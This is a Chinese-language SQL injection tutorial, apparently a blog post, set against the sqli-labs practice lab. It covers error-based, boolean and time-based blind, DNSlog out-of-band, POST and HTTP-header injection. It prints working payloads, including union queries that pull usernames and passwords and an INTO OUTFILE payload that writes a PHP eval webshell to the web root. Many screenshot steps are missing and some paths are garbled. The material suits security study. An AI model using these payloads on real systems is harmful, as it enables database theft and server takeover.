一、常见的注入方式:
报错注入:
-
报错思路:
使用各类函数使得数据库抛出异常或错误来获取数据的目的; -
常见的报错注入:
1、extractvalue()
2、floor()
3、updatexml()
4、exp()
5、geometrycollection()
6、multipoint()
7、polygon()
8、multipolygon()
9、linestring()
10、multilinestring()
- 报错的原理:
1、BIGINT等数据类型的溢出
2、xpath语法错误
3、count()+rand()+group by()导致主键重复
- 报错方式:
1、利用主键冲突:
count 加 group by 加 floor(rand(0)*2) 就会产生主键冲突(本质是floor(rand(0)*2)的重复性,导致group by 出错。)
*floor(rand(0)2)函数运行了5次,在再次插入主键1时,发生主键冲突
实践:
1、判断列数:

2、进行数据库名的爆出:

3、进行表名的爆出:
http://192.168.101.199/sqli-labs-master/Less-5/
?id=-1' union select 1,2,count(*) from information_schema.tables group by concat( 0x7e, floor(rand(0)*2), ( select concat(0x7e,table_name ) from information_schema.tables where table_schema=database() limit 1,1) );
--+

4、进行字段的爆出:


5、进行信息的爆出:


2、xpath方式:
基本思路:在路径的地方写语句,保证语句不出错
extractvalue()实践:










updatexml()实践:









布尔盲注
- 盲注:
在SQL注入过程中,SQL语句执行查询后,查询数据不能回显到前端,我们要使用特殊的方式进行判断或尝试,这个过程为盲注;
-大致流程:
求当前数据库长度以及名称的ASCLL
求当前数据库表的ASCLL
求当前数据库中表的个数
求当前数据库中一个表名的长度
求当前数据库中一个表名的ASCLL
求列的数量
求列名的长度
求列名的 ASCLL
求字段的数量
求字段内容的长度
求字段内容对应的ASCLL
- 实践


判断语句没有错误,然后在burp中进行库名的爆破








时间盲注
- 相关函数:
sleep()
if(a,b,c)
ascii()/ord()
length()
substr()/substring()/mid()
-
原理
不能根据网页返回内容判断任何信息,用条件语句查看时间延迟语句是否执行 (页面返回时间是否增加)来判断是否存在注入; -
实践




字段:




**

dnslog 外带注入
-
原理:
将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志显示出来; -
不管是布尔类型盲注还是时间盲注,都需要发送大量的数据包去判断数据,而这很可能会触发WAF的防护,因此导致被封IP。所以,如果条件允许,我们可以结合DNSlog来快速的回显数据。MySQL数据库,通过DNSlog盲注需要用到load_file()函数,该函数不仅能加载本地文件,同时也能对URL发起请求。因为需要使用load_file()函数,所以需要root权限,并且secure_file_ priv需要为空。
-
DNS原理:
首先要一个可以配置的域名,然后通过代理商设置域名为自己的服务器A,然后在服务器A配置好DNS服务,这样所有的域名查询都会到服务器A上,此时就能进行域名查询请求了;DNS在解析的时候会留下日志,通过读取多级日志来获取信息;
实践:



二、POST注入
- post注入常见的功能点(只要是和数据库交互的地方皆有可能):
注册功能点
登录功能点
留言板
资料修改
资料删除
- post注入时的方式:
1、利用hackbar类似的插件功能注入;
2、使用burp suite 的reprater重放模块
- 实践
//猜解列数
uname=1' order by 2 #
&passwd=admin&submit=Submit
//猜解数据库名
uname=1' union select 1,(database() ) #
&passwd=admin&submit=Submit
//猜解表名
uname=1' union select 1,(select group_concat(0x7e,table_name) from information_schema.tables where table_schema=database() ) #
&passwd=admin&submit=Submit
//猜解字段名
uname=1' union select 1,(select group_concat(0x5c,column_name) from information_schema.columns where table_schema=database() and table_name='users' ) #
&passwd=admin&submit=Submit
//提取数据
uname=1' union select username ,password from users limit 2,1#
&passwd=admin&submit=Submit





利用burp来进行爆破:




referer注入
- 在真实环境中有的注入点不仅仅只是在请求体中,也可能存在与其他字段上,也就是HTTP的头部注入;
- http头注入:注入点在http请求头的某个字段中;
- cookie型注入:HTTP请求的时候带上客户端的cookie,注入点存在cookie当中的某个字段中;
- XFF注入:HTTP请求的xff字段中,通过修改xff头对带入系统的dns进行sql注入,通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库或文件中,可以通过修改xff头伪造真实IP;可以利用来进行溯源;
- clien-ip:作用同xff;
- user-agent注入:有点网站将客户端使用的操作系统或浏览器版本存入数据库;
- referer注入:将客户端的referer存入数据库
SQL注入读写文件
在实际应用中,有时候可能由于一些需求,我们需要读取或者写入文件到目标服务器中,当然读写文件时需要有一定的权限才可以进行读取,常用的函数主要有以下两个:
- into outfile:
- 写shell:
当权限为root且知道绝对路径时,可以直接写一句话木马到服务器,注意存在。
’ union select 1,"<?php @eval($_POST['×']);?>",3 into outfile “c:llphpstudylPHPTutorialWWWIx.php”,也可以查询null值。
http://192.168.101.199/sqli-labs-master/Less-1/
?id=1' union select 1,2,'^<php? phpinfo(); ?>' into outfile "D:\\phpstudey\\PHPTutorial\\WWW1.php" --+
本文详细介绍了SQL注入的常见方法,包括报错注入、XPath注入和盲注等,阐述了各种注入方式的原理及实践案例。同时,讨论了POST注入、HTTP头部注入以及DNSLog外带注入等复杂场景,并提及了SQL注入读写文件的潜在风险。通过对数据库名、表名、字段名及数据的猜解,展示了SQL注入的全过程。此外,还强调了如何利用Burp Suite等工具进行爆破测试和防御措施的重要性。
26万+

被折叠的 条评论
为什么被折叠?



